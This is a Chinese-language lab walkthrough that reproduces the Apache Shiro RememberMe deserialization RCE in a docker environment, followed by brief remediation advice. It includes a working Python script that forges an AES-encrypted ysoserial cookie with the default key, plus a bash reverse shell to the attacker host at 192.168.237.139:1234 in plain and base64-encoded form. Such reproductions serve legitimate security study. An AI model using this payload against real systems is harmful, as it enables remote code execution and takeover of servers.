漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
Payload产生的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
影响
版本:Apache Shiro < 1.2.4
判断特征
返回包中包含rememberMe=deleteMe字段
复现
漏洞环境
使用docker搭建环境
docker pull medicean/vulapps:s_shiro_1 //获取docker镜像
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1 //启动docker镜像
主机 | ip |
---|---|
靶机:ubuntu20 | 192.168.237.138 |
攻击机:kali2020 | 192.168.237.139 |
准备工具
- Java反序列payload集成包ysoserial
https://github.com/frohoff/ysoserial.git - 漏洞检测及获取默认密钥的脚本。
https://github.com/insightglacier/Shiro_exploit - 攻击脚本,将脚本移至ysoserial/target
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA==" #脚本检测出的漏洞环境AES的密钥
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
开始利用漏洞
- 探测靶机是否存在shrio漏洞
python3 shiro_exploit.py -u http://192.168.237.138:8080/
- 构造反弹shell
bash -i >& /dev/tcp/192.168.237.139/1234 0>&1
http://www.jackson-t.ca/runtime-exec-payloads.html
进行编码后为:
bash -c {
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNy4xMzkvMTIzNCAwPiYx}|{
base64,-d}|{
bash,-i}
-
伪造cookie值(即构造payload)
复制cookie值。 -
访问漏洞环境
抓包,替换cookie值,同时侦听1234端口。
成功反弹root权限的shell
修复加固
1、对于shiro的认证过程而言,如果我们使用了硬编码的默认密钥,或者我们自己配置的AES密钥一旦泄露,都有可能面临着反序列化漏洞的风险,因此可以选择不配置硬编码的密钥,那么此情况下shiro将会为我们每次生成一个随机密钥。
2、若需要自己生成密钥,官方提供org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来进行AES的密钥生成。